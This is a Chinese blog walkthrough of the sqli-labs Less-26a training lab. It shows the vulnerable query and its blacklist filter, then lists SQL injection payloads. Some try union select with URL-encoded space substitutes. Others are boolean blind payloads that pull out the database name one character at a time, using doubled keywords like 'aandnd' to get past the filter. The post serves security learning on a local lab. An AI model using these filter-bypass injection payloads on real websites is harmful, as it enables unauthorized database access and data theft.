当前位置: 首页 > news >正文

sqli-labs:Less-26a关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  • 注入类型:字符串型(单引号、括号包裹)、GET操作
  • 提示:参数需以')闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';//print_r(mysql_error()); echo "</font>";  
}

先来看一下那些字符被过滤掉其中有:orand/*--#空格制表符换行符/反引号

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		    //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		    //Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		    //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

由于mysql_error()被注释掉,所以报错盲注用不了。有两个方向可以考虑:

  • 使用union select联合查询
  • 使用布尔盲注

但是使用这两个会出现不同的问题:

  • 使用union select:在sql注入语句上会出现大量的(),并且unionselect中的空格无法解决,我已经尝试过使用URL编码,用过%A0%0A%20%09%0D,但是依旧无法解决空格问题。
  • 使用布尔盲注:刚开始爆破数据库还可以,到了后面由于limit x,1无法加上,后面的推进不下去。

在这里插入图片描述


2. 手工注入问题🎯

我的地址栏是:http://localhost:8081/Less-26a/,从?id=开始。我把自己遇到的问题附上

2.1. 联合查询中的空格问题⚡

不过有意思的是,在%A0%0A%20%09%0D这些URL编码中,%A0回显时出现了乱码,至今还没解决。

-1') union select 1,2,3 and('1'='1
-1')%A0union%A0select(1),(2),(3)aandnd('1'='1

在这里插入图片描述

其余的都是空格问题,我以%0A为例:

-1') union select 1,2,3 and('1'='1
-1')%0Aunion%0Aselect(1),(2),(3)aandnd('1'='1

在这里插入图片描述


2.2. 布尔盲注问题⚡

刚开始查询数据库时进展顺利

1') and length(database())=8 and ('1
1') and substr((database()),1,1)='s' and ('1
1') and substr((database()),2,1)='e' and ('1
1') and substr((database()),3,1)='c' and ('1
1') and substr((database()),4,1)='u' and ('1
1') and substr((database()),5,1)='r' and ('1
1') and substr((database()),6,1)='i' and ('1
1') and substr((database()),7,1)='t' and ('1
1') and substr((database()),8,1)='y' and ('1
1')aandnd(length(database())=8)aandnd('1
1')aandnd(substr((database()),1,1)='s')aandnd('1
1')aandnd(substr((database()),2,1)='e')aandnd('1
1')aandnd(substr((database()),3,1)='c')aandnd('1
1')aandnd(substr((database()),4,1)='u')aandnd('1
1')aandnd(substr((database()),5,1)='r')aandnd('1
1')aandnd(substr((database()),6,1)='i')aandnd('1
1')aandnd(substr((database()),7,1)='t')aandnd('1
1')aandnd(substr((database()),8,1)='y')aandnd('1

在这里插入图片描述
接下来需要通过更改limit的偏移值定位users表,我通过加()处理不掉,理由是语句是错误的,下面是我在命令行的错误。

1') and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1))=5 and ('1
1')aandnd(select(length(table_name))from(infoorrmation_schema.tables)where(table_schema=database())limit 3,1)=5

在这里插入图片描述

因此布尔盲注的办法止步于limit


2.3. 参数汇总表⭐

参数作用示例
')闭合符号id=1')
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
length()查询长度length(database())
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

关卡中对许多字符进行了过滤,尤其是空格是最伤的,并且没有找到合适的替代。若大佬知道解决办法望告知,过段时间我再尝试一下。

相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331

相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/314575.html

相关文章:

  • sqli-labs:Less-27a关卡详细解析
  • UA 配置Https域名
  • AI赋能SEO关键词优化
  • k8s的毫核
  • DQL 超维分析 - 1 DQL 原理
  • 无公网环境下在centos7.9上使用kk工具部署k8s平台(amd64架构)
  • redis可视化工具汇总
  • Ubuntu系统VScode实现opencv(c++)图像二维直方图
  • 免费MCP: JSON 转 Excel MCP
  • N4语法书
  • 数据结构——图及其C++实现(1)概念、存储结构、遍历
  • 【09】C++实战篇——C++ 生成静态库.lib 及 C++调用lib,及实际项目中的使用技巧
  • 10.苹果ios逆向-FridaHook-ios中的算法-CCMD5
  • curl发送文件bodyParser无法获取请求体的问题分析
  • RAG From Scratch 系列教程-3: Routing
  • 将AAL图谱对应到Yeo7大网络中【原理,代码分析】
  • 断点续传Demo实现
  • 16.8 华为昇腾CANN架构深度实战:3大核心引擎解析与性能优化216%秘籍
  • C++高频知识点(十四)
  • 如果发送的数据和接受的数据不一致时,怎么办?
  • 从 Hive 数仓出发,全面剖析 StarRocks、MySQL、HBase 的使用场景与区别
  • Linux-Day02.Linux指令
  • Vue 3 + AntV X6 实现流程编辑功能
  • C语言-指针[指针数组和数组指针]
  • 【web应用】Maven:Java 生态的构建与依赖管理利器
  • LeetCode算法日记 - Day 1: 移动零、复写零
  • 排序算法——归并排序(图文演示)
  • 最小二乘法MSE
  • 【Linux】重生之从零开始学习运维之GTID复制
  • 【动态规划 | 回文字串问题】动态规划解回文问题的核心套路